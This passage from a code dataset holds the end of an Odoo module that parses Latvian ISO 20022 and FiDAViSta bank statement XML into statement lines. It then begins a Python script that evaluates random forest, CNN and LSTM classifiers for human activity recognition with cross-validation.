Bal/Tp/SubType/Cd\n balance_start = 0.0\n balance_end_real = 0.0\n balances = statement.getElementsByTagName('Bal')\n for b in balances:\n balance_amount = 0.0\n amount_tags = b.getElementsByTagName('Amt')\n cl_amount_tag = False\n credit_line = b.getElementsByTagName('CdtLine')\n if credit_line:\n cl_amount_tag = credit_line[0].getElementsByTagName('Amt')\n cl_amount_tag = cl_amount_tag and cl_amount_tag[0] or False\n for amt in amount_tags:\n if amt != cl_amount_tag:\n balance_amount = float(amt.firstChild.nodeValue)\n cd_ind = b.getElementsByTagName('CdtDbtInd')[0].toxml().replace('','').replace('','')\n if cd_ind == 'DBIT':\n balance_amount *= (-1)\n btype = b.getElementsByTagName('Tp')[0]\n type_code = btype.getElementsByTagName('CdOrPrtry')[0].getElementsByTagName('Cd')[0].toxml().replace('','').replace('','')\n found = False\n if type_code == 'OPBD':\n balance_start = balance_amount\n found = True\n if type_code == 'CLBD':\n balance_end_real = balance_amount\n found = True\n if not found:\n bsubtype = btype.getElementsByTagName('SubType')\n if bsubtype:\n subtype_code = bsubtype[0].getElementsByTagName('Cd')[0].toxml().replace('','').replace('','')\n if subtype_code == 'OPBD':\n balance_start = balance_amount\n if subtype_code == 'CLBD':\n balance_end_real = balance_amount\n\n # checking balances:\n self.check_balances(balance_start, account_number)\n\n svals = {\n 'name': name,\n 'date': end_date,\n 'balance_start': balance_start,\n 'balance_end_real': balance_end_real,\n 'transactions': []\n }\n\n # getting line data:\n # Ntry\n entries = statement.getElementsByTagName('Ntry')\n for entry in entries:\n # getting date:\n # BookgDt or ValDt\n line_date = False\n date_tag = entry.getElementsByTagName('BookgDt')\n if not date_tag:\n date_tag = entry.getElementsByTagName('ValDt')\n if date_tag:\n line_date = date_tag[0].getElementsByTagName('Dt')[0].toxml().replace('
','').replace('
','')\n\n # getting reference and unique id:\n # NtryDtls/TxDtls/RmtInf/Strd/CdtrRefInf/Ref or NtryDtls/TxDtls/Refs/Reference or NtryRef or AcctSvcrRef\n # AcctSvcrRef\n line_ref = False\n unique_import_id = False\n ref_tag = entry.getElementsByTagName('NtryRef')\n if ref_tag:\n line_ref = ref_tag[0].toxml().replace('','').replace('','')\n refs_uref_tag = False\n refs_tag = entry.getElementsByTagName('Refs')\n if refs_tag:\n refs_uref_tag = refs_tag[0].getElementsByTagName('AcctSvcrRef')\n refs_uref_tag = refs_uref_tag and refs_uref_tag[0] or False\n refs_ref_tag = refs_tag[0].getElementsByTagName('Reference')\n if refs_ref_tag and (not line_ref):\n line_ref = refs_ref_tag[0].toxml().replace('','').replace('','')\n uref_tags = entry.getElementsByTagName('AcctSvcrRef')\n for urt in uref_tags:\n if urt != refs_uref_tag:\n unique_import_id = urt.toxml().replace('','').replace('','')\n if (not unique_import_id) and refs_uref_tag:\n unique_import_id = refs_uref_tag.toxml().replace('','').replace('','')\n cdtr_refs_tag = entry.getElementsByTagName('CdtrRefInf')\n if cdtr_refs_tag:\n cref_tag = cdtr_refs_tag[0].getElementsByTagName('Ref')\n if cref_tag:\n line_ref = cref_tag[0].toxml().replace('','').replace('','')\n if (not line_ref) and unique_import_id:\n line_ref = unique_import_id\n\n # getting transaction type:\n # BkTxCd/Domn/Fmly/SubFmlyCd\n type_code = False\n tx_dtls_btc_tag = False\n tx_dtls_tag = entry.getElementsByTagName('TxDtls')\n if tx_dtls_tag:\n tx_dtls_btc_tag = tx_dtls_tag[0].getElementsByTagName('BkTxCd')\n tx_dtls_btc_tag = tx_dtls_btc_tag and tx_dtls_btc_tag[0] or False\n btc_tags = entry.getElementsByTagName('BkTxCd')\n for btc in btc_tags:\n if btc != tx_dtls_btc_tag:\n type_code_tag = btc.getElementsByTagName('SubFmlyCd')\n if type_code_tag:\n type_code = type_code_tag[0].toxml().replace('','').replace('','')\n\n # getting debit or credit info:\n # CdtDbtInd\n line_cd_ind = False\n entr_details_tag = entry.getElementsByTagName('NtryDtls')\n edt_cd_tgs = []\n if entr_details_tag:\n edt_cd_tags = entr_details_tag[0].getElementsByTagName('CdtDbtInd')\n edt_cd_tgs = [ecdt for ecdt in edt_cd_tags]\n entry_cd_tags = entry.getElementsByTagName('CdtDbtInd')\n for ecd in entry_cd_tags:\n if ecd not in edt_cd_tgs:\n line_cd_ind = ecd.toxml().replace('','').replace('','')\n\n # getting amount and currency:\n # NtryDtls/TxDtls/AmtDtls/TxAmt/Amt or Amt\n # NtryDtls/TxDtls/AmtDtls/InstdAmt/Amt\n line_amount = 0.0\n line_amount_cur = 0.0\n line_cur = False\n amt_tag = False\n amt_details_tag = entry.getElementsByTagName('AmtDtls')\n if amt_details_tag:\n inst_amt_tag = amt_details_tag[0].getElementsByTagName('InstdAmt')\n if inst_amt_tag:\n amt_cur_tag = inst_amt_tag[0].getElementsByTagName('Amt')[0]\n line_amount_cur = float(amt_cur_tag.firstChild.nodeValue)\n if line_cd_ind == 'DBIT':\n line_amount_cur *= (-1)\n line_cur_code = amt_cur_tag.attributes['Ccy'].value\n if line_cur_code != currency_code:\n line_cur = cur_obj.search([('name','=',line_cur_code)], limit=1)\n trans_amt_tag = amt_details_tag[0].getElementsByTagName('TxAmt')\n if trans_amt_tag:\n amt_tag = trans_amt_tag[0].getElementsByTagName('Amt')\n if (not amt_details_tag) or (amt_details_tag and (not amt_tag)):\n amt_tag = entry.getElementsByTagName('Amt')\n if amt_tag:\n line_amount = float(amt_tag[0].firstChild.nodeValue)\n if line_cd_ind == 'DBIT':\n line_amount *= (-1)\n\n # getting bank account and bank data:\n # NtryDtls/TxDtls/RltdPties/DbtrAcct/Id/IBAN incoming payment (+)\n # NtryDtls/TxDtls/RltdPties/CdtrAcct/Id/IBAN outgoing payment (-)\n partner_bank_account = False\n bank_account = False\n bank_name = False\n bank_bic = False\n entry_ba_tag = False\n entry_b_tag = False\n if line_cd_ind == 'CRDT':\n entry_ba_tag = entry.getElementsByTagName('DbtrAcct')\n entry_b_tag = entry.getElementsByTagName('DbtrAgt')\n if line_cd_ind == 'DBIT':\n entry_ba_tag = entry.getElementsByTagName('CdtrAcct')\n entry_b_tag = entry.getElementsByTagName('CdtrAgt')\n if entry_ba_tag:\n partner_bank_account = entry_ba_tag[0].getElementsByTagName('IBAN')[0].toxml().replace('','').replace('','')\n bank_account = ba_obj.search([('acc_number','=',partner_bank_account)], limit=1)\n if (not bank_account) and partner_bank_account:\n partner_bank_account_list = list(partner_bank_account)\n partner_bank_account_list.insert(4,' ')\n partner_bank_account_list.insert(9,' ')\n partner_bank_account_list.insert(14,' ')\n partner_bank_account_list.insert(19,' ')\n partner_bank_account_list.insert(24,' ')\n partner_bank_account_2 = \"\".join(partner_bank_account_list)\n bank_account = ba_obj.search([('acc_number','=',partner_bank_account_2)], limit=1)\n if entry_b_tag:\n entry_b_name_tag = entry_b_tag[0].getElementsByTagName('Name')\n if entry_b_name_tag:\n bank_name = entry_b_name_tag[0].toxml().replace('','').replace('','')\n entry_b_bic_tag = entry_b_tag[0].getElementsByTagName('BIC')\n if entry_b_bic_tag:\n bank_bic = entry_b_bic_tag[0].toxml().replace('','').replace('','')\n\n # getting name:\n # NtryDtls/TxDtls/Purp/Prtry (+)\n # NtryDtls/TxDtls/RmtInf/Ustrd (+/-)\n line_name = False\n if line_cd_ind == 'CRDT':\n purp_tag = entry.getElementsByTagName('Purp')\n if purp_tag:\n line_name = purp_tag[0].getElementsByTagName('Prtry')[0].toxml().replace('','').replace('','')\n if line_cd_ind == 'DBIT' or (line_cd_ind == 'CRDT' and (not line_name)):\n rmt_inf_tag = entry.getElementsByTagName('RmtInf')\n if rmt_inf_tag:\n ustruct_tags = rmt_inf_tag[0].getElementsByTagName('Ustrd')\n uc = 0\n for ustruct_tag in ustruct_tags:\n uc += 1\n utxt = ustruct_tag.toxml().replace('','').replace('','')\n if uc == 1:\n line_name = utxt\n else:\n line_name += ('\\n' + utxt)\n if not line_name:\n line_name = type_code\n\n # getting partner data:\n # NtryDtls/TxDtls/RltdPties/Dbtr (+) Nm and Id/OrgId/Othr/Id or Id/PrvtId/Othr/Id\n # NtryDtls/TxDtls/RltdPties/Cdtr (-) Nm and Id/OrgId/Othr/Id or Id/PrvtId/Othr/Id\n partner = False\n if bank_account:\n partner = bank_account.partner_id\n partner_name = False\n partner_reg_id = False\n partner_tag = False\n if line_cd_ind == 'CRDT':\n partner_tag = entry.getElementsByTagName('Dbtr')\n if line_cd_ind == 'DBIT':\n partner_tag = entry.getElementsByTagName('Cdtr')\n if partner_tag:\n partner_name_tag = partner_tag[0].getElementsByTagName('Nm')\n if partner_name_tag:\n partner_name = partner_name_tag[0].toxml().replace('','').replace('','')\n partner_reg_tag = partner_tag[0].getElementsByTagName('OrgId')\n if not partner_reg_tag:\n partner_reg_tag = partner_tag[0].getElementsByTagName('PrvtId')\n if partner_reg_tag:\n partner_reg_id_tag = partner_reg_tag[0].getElementsByTagName('Id')\n if partner_reg_id_tag:\n partner_reg_id = partner_reg_id_tag[0].toxml().replace('','').replace('','')\n if (not partner_name) and partner_reg_id:\n partner_name = partner_reg_id\n if (not bank_account) and (partner_reg_id):\n partners = partner_obj.search([('vat','ilike',partner_reg_id)])\n if len([p.id for p in partners]) == 1:\n partner = partners\n\n # getting account:\n# account_id = False\n# if partner:\n# if line_cd_ind == 'CRDT':\n# account_id = partner.property_account_receivable_id.id\n# if line_cd_ind == 'DBIT':\n# account_id = partner.property_account_payable_id.id\n# if (not partner) and type_code:\n# config = config_obj.search([('name','=',type_code)], limit=1)\n# if config:\n# account_id = config.account_id.id\n\n svals['transactions'].append({\n 'unique_import_id': unique_import_id,\n 'date': line_date,\n 'name': line_name,\n 'ref': line_ref,\n 'amount': line_amount,\n 'amount_currency': line_amount_cur,\n 'currency_id': line_cur and line_cur.id or False,\n 'partner_name': partner_name,\n 'account_number': partner_bank_account,\n 'partner_bank_account': partner_bank_account,\n 'partner_reg_id': partner_reg_id,\n 'partner_id': partner and partner.id or False,\n 'transaction_type': type_code,\n 'bank_account_id': bank_account and bank_account.id or False,\n# 'account_id': account_id,\n 'bank_name': bank_name,\n 'bank_bic': bank_bic\n })\n\n stmts_vals.append(svals)\n\n return currency_code, account_number, stmts_vals\n\n\n def fidavista_parsing(self, data_file):\n # decoding and encoding for string parsing; parseString() method:\n record = str(data_file, 'iso8859-4', 'strict').encode('iso8859-4','strict')\n dom = parseString(record)\n\n cur_obj = self.env['res.currency']\n bank_obj = self.env['res.partner.bank']\n\n # getting start values:\n currency_code = False\n account_number = False\n stmts_vals = []\n start_date = dom.getElementsByTagName('StartDate')[0].toxml().replace('','').replace('','')\n end_date = dom.getElementsByTagName('EndDate')[0].toxml().replace('','').replace('','')\n\n accountsets = dom.getElementsByTagName('AccountSet')\n for accountset in accountsets:\n account_number = accountset.getElementsByTagName('AccNo')[0].toxml().replace('','').replace('','')\n currency_code = accountset.getElementsByTagName('Ccy')[0].toxml().replace('','').replace('','')\n balance_start = accountset.getElementsByTagName('OpenBal')[0].toxml().replace('','').replace('','')\n balance_end_real = accountset.getElementsByTagName('CloseBal')[0].toxml().replace('','').replace('','')\n\n # checking balances:\n self.check_balances(balance_start, account_number)\n\n svals = {\n 'name': account_number + ' ' + start_date + ':' + end_date,\n 'date': end_date,\n 'balance_start': float(balance_start),\n 'balance_end_real': float(balance_end_real),\n 'transactions': []\n }\n\n # getting elements for account.bank.statement.line:\n statement_lines = accountset.getElementsByTagName('TrxSet')\n for line in statement_lines:\n # checking transaction types:\n type_name_tag = line.getElementsByTagName('TypeName')\n\n # getting date, name, ref and amount\n line_date = line.getElementsByTagName('BookDate')[0].toxml().replace('','').replace('','')\n pmt_info = line.getElementsByTagName('PmtInfo')\n if pmt_info:\n line_name = pmt_info[0].toxml().replace('','').replace('','')\n if (not pmt_info) and type_name_tag:\n line_name = type_name_tag[0].toxml().replace('','').replace('','')\n line_ref = line.getElementsByTagName('BankRef')[0].toxml().replace('','').replace('','')\n line_amount = float(line.getElementsByTagName('AccAmt')[0].toxml().replace('','').replace('',''))\n cord = line.getElementsByTagName('CorD')[0].toxml().replace('','').replace('','')\n if cord == 'D':\n line_amount *= (-1)\n\n # getting Partner and Currency data\n line_cur = False\n line_amount_cur = 0.0\n partner = False\n partner_name = False\n partner_reg_id = False\n partner_bank_account = False\n bank_account = False\n# account_id = False\n bank_name = False\n bank_bic = False\n cPartySet = line.getElementsByTagName('CPartySet')\n if cPartySet:\n # currency data:\n line_cur_tag = cPartySet[0].getElementsByTagName('Ccy')\n if line_cur_tag:\n line_cur_txt = line_cur_tag[0].toxml().replace('','').replace('','').replace('','')\n if line_cur_txt and line_cur_txt != currency_code:\n line_cur = cur_obj.search([('name','=',line_cur_txt)], limit=1)\n line_amount_cur_tag = cPartySet[0].getElementsByTagName('Amt')\n if line_amount_cur_tag:\n line_amount_cur = line_amount_cur_tag[0].toxml().replace('','').replace('','').replace('','')\n line_amount_cur = float(line_amount_cur)\n\n # partner data:\n partner_name_tag = cPartySet[0].getElementsByTagName('Name')\n if partner_name_tag:\n partner_name = partner_name_tag[0].toxml().replace('','').replace('','').replace('','').replace(\""\",\"'\")\n partner_reg_id_tag = cPartySet[0].getElementsByTagName('LegalId')\n if partner_reg_id_tag:\n partner_reg_id = partner_reg_id_tag[0].toxml().replace('','').replace('','').replace('','')\n partner_bank_account_tag = cPartySet[0].getElementsByTagName('AccNo')\n if partner_bank_account_tag:\n partner_bank_account = partner_bank_account_tag[0].toxml().replace('','').replace('','').replace('','')\n\n # testing, whether it's possible to get partner (also type and account) from the system:\n bank_account = bank_obj.search([('acc_number','=',partner_bank_account)], limit=1)\n if (not bank_account) and partner_bank_account:\n partner_bank_account_list = list(partner_bank_account)\n partner_bank_account_list.insert(4,' ')\n partner_bank_account_list.insert(9,' ')\n partner_bank_account_list.insert(14,' ')\n partner_bank_account_list.insert(19,' ')\n partner_bank_account_list.insert(24,' ')\n partner_bank_account_2 = \"\".join(partner_bank_account_list)\n bank_account = bank_obj.search([('acc_number','=',partner_bank_account_2)], limit=1)\n if bank_account:\n partner = bank_account.partner_id\n if (not bank_account) and (partner_reg_id):\n partners = self.env['res.partner'].search([('vat','ilike',partner_reg_id)])\n if len([p.id for p in partners]) == 1:\n partner = partners\n # setting account if partner found:\n# if partner:\n# if cord == 'C':\n# account_id = partner.property_account_receivable_id.id\n# if cord == 'D':\n# account_id = partner.property_account_payable_id.id\n # getting bank data:\n bank_name_tag = cPartySet[0].getElementsByTagName('BankName')\n if bank_name_tag:\n bank_name = bank_name_tag[0].toxml().replace('','').replace('','').replace('','')\n bank_bic_tag = cPartySet[0].getElementsByTagName('BankCode')\n if bank_bic_tag:\n bank_bic = bank_bic_tag[0].toxml().replace('','').replace('','').replace('','')\n\n # getting Transaction Types\n type_code = False\n type_code_tag = line.getElementsByTagName('TypeCode')\n if type_code_tag:\n type_code = type_code_tag[0].toxml().replace('','').replace('','')\n if (not type_code_tag) and type_name_tag:\n type_code = type_name_tag[0].toxml().replace('','').replace('','')\n# if not partner:\n# config_obj = self.env['account.bank.transaction.type']\n# config = config_obj.search([('name','=',type_code)], limit=1)\n# if config:\n# account_id = config.account_id.id\n\n svals['transactions'].append({\n 'date': line_date,\n 'name': line_name,\n 'ref': line_ref,\n 'amount': line_amount,\n 'amount_currency': line_amount_cur,\n 'currency_id': line_cur and line_cur.id or False,\n 'partner_name': partner_name,\n 'account_number': partner_bank_account,\n 'partner_bank_account': partner_bank_account,\n 'partner_reg_id': partner_reg_id,\n 'partner_id': partner and partner.id or False,\n 'transaction_type': type_code,\n 'bank_account_id': bank_account and bank_account.id or False,\n# 'account_id': account_id,\n 'bank_name': bank_name,\n 'bank_bic': bank_bic\n })\n\n stmts_vals.append(svals)\n\n return currency_code, account_number, stmts_vals\n\n\n def _complete_stmts_vals(self, stmts_vals, journal, account_number):\n res = super(AccountBankStatementImport, self)._complete_stmts_vals(stmts_vals, journal, account_number)\n ba_obj = self.env['res.partner.bank']\n bank_obj = self.env['res.bank']\n for st_vals in res:\n for line_vals in st_vals['transactions']:\n # update bank account and save partner if possible:\n if (not line_vals.get('partner_id', False)) and line_vals.get('partner_reg_id'):\n partners = self.env['res.partner'].search([('vat','ilike',line_vals['partner_reg_id'])])\n if len([p.id for p in partners]) == 1:\n line_vals['partner_id'] = partners.id\n if line_vals.get('bank_account_id', False):\n bank_account = ba_obj.browse(line_vals['bank_account_id'])\n if (not bank_account.partner_id) and line_vals.get('partner_id', False):\n bank_account.write({'partner_id': line_vals['partner_id']})\n if (not bank_account.bank_id) and (line_vals.get('bank_name', False) or line_vals.get('bank_bic', False)):\n bank_name = line_vals.get('bank_name', False) or line_vals.get('bank_bic', False)\n bank_bic = line_vals.get('bank_bic', False)\n bank = bank_obj.search([('bic','=',bank_bic)], limit=1)\n if not bank:\n bank = bank_obj.search([('name','=',bank_name)], limit=1)\n if not bank:\n bank = bank_obj.create({\n 'name': bank_name,\n 'bic': bank_bic\n })\n bank_account.write({'bank_id': bank.id})\n line_vals.pop('bank_name')\n line_vals.pop('bank_bic')\n return res\n\n\n def _parse_file(self, data_file):\n if self.format == 'iso20022':\n return self.iso20022_parsing(data_file)\n elif self.format == 'fidavista':\n return self.fidavista_parsing(data_file)\n else:\n return super(AccountBankStatementImport, self)._parse_file()\n\n\n# @api.model\n# def create(self, values):\n# res = super(AccountBankStatementImport, self).create(values)\n# res._onchange_data_file()\n# return res\n\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"l10n_lv_account_bank_statement_import/wizard/account_bank_statement_import.py","file_name":"account_bank_statement_import.py","file_ext":"py","file_size_in_byte":39473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"315078288","text":"import numpy as np\nimport scipy.io as sio\nimport os\nimport datetime\nimport argparse\n\nimport data_preprocessing\nimport models\nimport model_params\nimport resampling\nfrom KClassifier import KClassifier\n\nfrom sklearn.model_selection import RepeatedStratifiedKFold\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix, accuracy_score, precision_recall_fscore_support\n\nfrom imblearn.pipeline import Pipeline\n\n# Parse evaluation parameters (dataset id and methods to evaluate).\nparser = argparse.ArgumentParser(description='Human activity recognition method evaluation')\nparser.add_argument('--method', type=str, metavar='METHOD', nargs='+', default=['rf', 'cnn', 'lstm', 'fe'], \n choices=['rf', 'cnn', 'lstm', 'fe'], help='method to evaluate (rf, cnn, lstm or fe)')\nparser.add_argument('--eval-method', type=str, metavar='EVAL_METHOD', default='cv', \n choices=['tts', 'cv'], help='evaluation method (tts or cv)')\nparser.add_argument('--dataset', type=int, metavar='DATASET', default=1, \n choices=[1, 2, 3], help='dataset id (1, 2 or 3)')\nparser.add_argument('--shuffle', action='store_true')\nparser.add_argument('--overlap', type=float, metavar='OVERLAP', default=0.3)\nparser.add_argument('--window-len', type=int, metavar='WINDOW-LEN', default=3)\n\n# Parse arguments.\nargs = parser.parse_args()\n\n# Set CV parameters.\nN_SPLITS = 5\nN_REPEATS = 1\n\n# Set resampling method ('none' means no resampling).\nRESAMPLING_METHOD = 'none'\n\n# List of models to evaluate.\nEVALUATE = args.method\n\n#### (1) DATA PARSING AND PREPROCESSING ############\n\n# Specify dataset id.\nDATASET_ID = args.dataset\n\n# Specify indices of features to deselect.\nDESELECT = []\n\n# Parse sampling frequency for selected dataset.\nwith open('./datasets/data' + str(DATASET_ID) + '/fs.txt', 'r') as f:\n sampling_frequency = int(f.readline().strip())\n\n# Set number of seconds in each window and calculate window size.\nNUM_SECONDS_WINDOW = args.window_len\nWINDOW_SIZE = sampling_frequency*NUM_SECONDS_WINDOW\nSHUFFLE = args.shuffle\n\n# Get preprocessed data.\ndata = data_preprocessing.get_preprocessed_dataset(dataset_id=DATASET_ID, window_size=WINDOW_SIZE, overlap=args.overlap, deselect=DESELECT, shuffle=SHUFFLE)\nsegments = data['segments']\nseg_target = data['seg_target']\nseg_target_encoded = data['seg_target_encoded'] \ndeselect_len = len(data['deselect'])\nclass_names = data['class_names']\n\n####################################################\n\n# Set path for classification reports file.\nCLF_REPORTS_PATH = './results/clf_reports.txt'\n\ndef format_clf_report(clf_report, clf_name, class_names, dataset_id, save_path): \n \"\"\"Print classification statistics to file.\n\n Author: Jernej Vivod (vivod.jernej@gmail.com)\n\n Args:\n clf_report (numpy.ndarray): matrix containing the classification statistics to print.\n clf_name (str): name of the classifier.\n class_names (list): list of class names.\n save_path (str): path of the file in which to print the statistics.\n \"\"\"\n\n with open(save_path, 'a') as f:\n if os.path.isfile(save_path) and os.path.getsize(save_path) > 0:\n f.write('\\n')\n\n f.write('Date: {0}\\n'.format(datetime.datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")))\n f.write('Model: {0}\\n'.format(clf_name))\n f.write('Window size: {0}\\n'.format(data['window_size']))\n f.write('Overlap: {0}\\n'.format(data['overlap']))\n f.write('Deselected: {0}\\n'.format(data['deselect']))\n f.write('Dataset: {0}\\n'.format(dataset_id))\n f.write('\\n')\n for idx in np.arange(len(class_names)-1):\n f.write('{0} '.format(class_names[idx]))\n f.write('{0}\\n'.format(class_names[-1]))\n \n f.write('Precision ')\n for idx in np.arange(clf_report.shape[1]-1):\n f.write('{0:.4f} '.format(clf_report[0, idx]))\n f.write('{0:.2f}\\n'.format(clf_report[0, -1]))\n\n f.write('Recall ')\n for idx in np.arange(clf_report.shape[1]-1):\n f.write('{0:.4f} '.format(clf_report[1, idx]))\n f.write('{0:.2f}\\n'.format(clf_report[1, -1]))\n\n f.write('F-Score ')\n for idx in np.arange(clf_report.shape[1]-1):\n f.write('{0:.4f} '.format(clf_report[2, idx]))\n f.write('{0:.4f}\\n'.format(clf_report[2, -1]))\n\n f.write('Support ')\n for idx in np.arange(clf_report.shape[1]-1):\n f.write('{0:.4f} '.format(clf_report[3, idx]))\n f.write('{0:.4f}\\n'.format(clf_report[3, -1]))\n\n\n#### (2) EVALUATE BASELINE RANDOM FOREST ##########\n\n\n# If evaluating RF model.\nif 'rf' in EVALUATE:\n\n # Initialize random forest model with specified parameters.\n clf_rf = models.get_rf_model(**model_params.get_params('rf'))\n\n # If resampling method specified, integrate into pipeline.\n if RESAMPLING_METHOD != 'none':\n clf_rf = Pipeline([('resampler', resampling.get_resampler(RESAMPLING_METHOD)), ('clf', clf_rf)])\n \n # If evaluating using cross-validation.\n if args.eval_method == 'cv':\n\n # Initialize accumulator for fold results.\n cv_scores_rf = []\n\n # Initilize array for accumulating classification scoring reports.\n cr_rf = np.zeros((4, len(class_names)))\n\n # Perform CV.\n idx_it = 1\n for train_idx, test_idx in RepeatedStratifiedKFold(n_splits=N_SPLITS, n_repeats=N_REPEATS).split(segments, seg_target):\n segments_train = np.array([el.flatten() for el in segments[train_idx, :, :]])\n segments_test = np.array([el.flatten() for el in segments[test_idx, :, :]])\n seg_target_train = seg_target[train_idx]\n seg_target_test = seg_target[test_idx]\n clf_rf.fit(segments_train, seg_target_train)\n pred_test = clf_rf.predict(segments_test)\n cv_scores_rf.append(accuracy_score(seg_target[test_idx], pred_test))\n cr_rf = cr_rf + np.array(precision_recall_fscore_support(seg_target_test, pred_test, labels=list(np.arange(1,len(class_names)+1))))\n print(\"RF - finished {0}/{1}\".format(idx_it, N_SPLITS*N_REPEATS))\n idx_it += 1\n\n # Get mean classification report for RF model.\n cv_cr_rf = cr_rf / (N_SPLITS*N_REPEATS)\n\n # Write classification scoring report.\n format_clf_report(cv_cr_rf, \"Random Forest\", class_names, DATASET_ID, CLF_REPORTS_PATH)\n\n else:\n\n # Split data into training and test sets.\n data_train, data_test, target_train, target_test = train_test_split(np.array([el.flatten() for el in segments]), seg_target, \n random_state=0, stratify=seg_target, test_size=0.2)\n\n # Train model and evaluate on test set.\n score = clf_rf.fit(data_train, target_train).score(data_test, target_test)\n print(\"Finised evaluating RF model using a train-test split with score={0:.4f}.\".format(score))\n\n\n####################################################\n\n\n#### (3) EVALUATE CNN ##############################\n\n# If evaluating CNN model.\nif 'cnn' in EVALUATE:\n\n # Set CNN model training parameters.\n BATCH_SIZE_CNN = 32\n EPOCHS_CNN = 10\n\n # Initialize CNN model with specified parameters.\n model_cnn = models.get_cnn_model(**model_params.get_params('cnn', n_rows=segments[0].shape[0], n_cols=segments[0].shape[1], num_classes=np.unique(seg_target).size))\n clf_cnn = KClassifier(model_cnn, EPOCHS_CNN, BATCH_SIZE_CNN)\n\n # Store initial weights for reinitializations.\n initial_weights = clf_cnn.get_weights()\n\n # If resampling method specified, integrate into pipeline.\n if RESAMPLING_METHOD != 'none':\n clf_cnn = Pipeline([('resampler', resampling.get_resampler(RESAMPLING_METHOD)), ('clf', clf_cnn)])\n\n # If evaluating using cross-validation.\n if args.eval_method == 'cv':\n\n # Initialize accumulator for fold results.\n cv_scores_cnn = []\n\n # Initilize array for accumulating classification scoring reports.\n cr_cnn = np.zeros((4, len(class_names)))\n\n # Perform CV.\n idx_it = 1\n for train_idx, test_idx in RepeatedStratifiedKFold(n_splits=N_SPLITS, n_repeats=N_REPEATS).split(segments, seg_target):\n segments_train = segments[train_idx, :, :, np.newaxis] \n segments_test = segments[test_idx, :, :, np.newaxis] \n seg_target_encoded_train = seg_target_encoded[train_idx, :]\n seg_target_encoded_test = seg_target_encoded[test_idx, :]\n clf_cnn.fit(segments_train, seg_target_encoded_train)\n pred_test = clf_cnn.predict(segments_test)\n cv_scores_cnn.append(accuracy_score(seg_target[test_idx] - deselect_len, pred_test+1))\n cr_cnn = cr_cnn + np.array(precision_recall_fscore_support(np.argmax(seg_target_encoded_test, axis=1), pred_test, labels=list(np.arange(len(class_names)))))\n print(\"CNN - finished {0}/{1}\".format(idx_it, N_SPLITS*N_REPEATS))\n idx_it += 1\n\n # Reset CNN weights to initial state.\n clf_cnn.set_weights(initial_weights)\n\n # Get mean classification report for CNN model.\n cv_cr_cnn = cr_cnn / (N_SPLITS*N_REPEATS)\n\n # Write classification scoring report.\n format_clf_report(cv_cr_cnn, \"CNN\", class_names, DATASET_ID, CLF_REPORTS_PATH)\n\n else:\n\n # Split data into training and test sets.\n data_train, data_test, target_train, target_test = train_test_split(segments, seg_target_encoded, random_state=0, \n stratify=np.argmax(seg_target_encoded, axis=1), test_size=0.2)\n\n # Train model and evaluate on test set.\n score = clf_cnn.fit(data_train[:, :, :, np.newaxis], target_train).score(data_test[:, :, :, np.newaxis], np.argmax(target_test, axis=1))\n print(\"Finised evaluating CNN model using a train-test split with score={0:.4f}.\".format(score))\n\n####################################################\n\n\n#### (4) EVALUATE LSTM NEURAL NETWORK ##############\n\n# If evaluating LSTM model.\nif 'lstm' in EVALUATE:\n \n # Set LSTM model training parameters.\n BATCH_SIZE_LSTM = 32\n EPOCHS_LSTM = 50\n\n # Initialize LSTM model with specified parameters.\n model_lstm = models.get_lstm_model(**model_params.get_params('lstm', n_rows=segments[0].shape[0], n_cols=segments[0].shape[1], num_classes=np.unique(seg_target).size))\n clf_lstm = KClassifier(model_lstm, EPOCHS_LSTM, BATCH_SIZE_LSTM, False)\n \n # Store initial weights for reinitializations.\n initial_weights = clf_lstm.get_weights()\n\n # If resampling method specified, integrate into pipeline.\n if RESAMPLING_METHOD != 'none':\n clf_lstm = Pipeline([('resampler', resampling.get_resampler(RESAMPLING_METHOD)), ('clf', clf_lstm)])\n\n # If evaluating using cross-validation.\n if args.eval_method == 'cv':\n\n # Initialize accumulator for fold results.\n cv_scores_lstm = []\n\n # Initilize array for accumulating classification scoring reports.\n cr_lstm = np.zeros((4, len(class_names)))\n\n # Perform CV.\n idx_it = 1\n for train_idx, test_idx in RepeatedStratifiedKFold(n_splits=N_SPLITS, n_repeats=N_REPEATS).split(segments, seg_target):\n segments_train = segments[train_idx, :, :] \n segments_test = segments[test_idx, :, :] \n seg_target_encoded_train = seg_target_encoded[train_idx, :]\n seg_target_encoded_test = seg_target_encoded[test_idx, :]\n clf_lstm.fit(segments_train, seg_target_encoded_train)\n pred_test = clf_lstm.predict(segments_test)\n cv_scores_lstm.append(accuracy_score(seg_target[test_idx] - deselect_len, pred_test+1))\n cr_lstm = cr_lstm + np.array(precision_recall_fscore_support(np.argmax(seg_target_encoded_test, axis=1), pred_test, labels=list(np.arange(len(class_names)))))\n print(\"LSTM - finished {0}/{1}\".format(idx_it, N_SPLITS*N_REPEATS))\n idx_it += 1\n \n # Reset LSTM weights to initial state.\n clf_lstm.set_weights(initial_weights)\n \n # Get mean classification report for LSTM model.\n cv_cr_lstm = cr_lstm / (N_SPLITS*N_REPEATS)\n\n # Write classification scoring report.\n format_clf_report(cv_cr_lstm, \"LSTM\", class_names, DATASET_ID, CLF_REPORTS_PATH)\n\n else:\n\n # Split data into training and test sets.\n data_train, data_test, target_train, target_test = train_test_split(segments, seg_target_encoded, random_state=0, \n stratify=np.argmax(seg_target_encoded, axis=1), test_size=0.2)\n \n # Train model and evaluate on test set.\n score = clf_lstm.fit(data_train, target_train).score(data_test, np.argmax(target_test, axis=1))\n print(\"Finised evaluating LSTM model using a train-test split with score={0:.4f}.\".format(score))\n\n\n####################################################\n\n\n#### (5) EVALUATE CLASSIFIERS ON ENG. FEATUERES ####\n\n# If evaluating feature engineering method:\nif 'fe' in EVALUATE:\n\n # Parse data.\n data_fe = sio.loadmat('./datasets/data_fe/data' + str(DATASET_ID) + '.mat')['data']\n target_fe = np.ravel(sio.loadmat('./datasets/data_fe/target' + str(DATASET_ID) + '.mat')['target'])\n data_fe[np.isnan(data_fe)] = 0.0\n \n # Initialize random forest model with specified parameters.\n clf_rf = models.get_rf_model(**model_params.get_params('rf'))\n\n # If resampling method specified, integrate into pipeline.\n if RESAMPLING_METHOD != 'none':\n clf_rf = Pipeline([('resampler', resampling.get_resampler(RESAMPLING_METHOD)), ('clf', clf_rf)])\n\n # If evaluating using 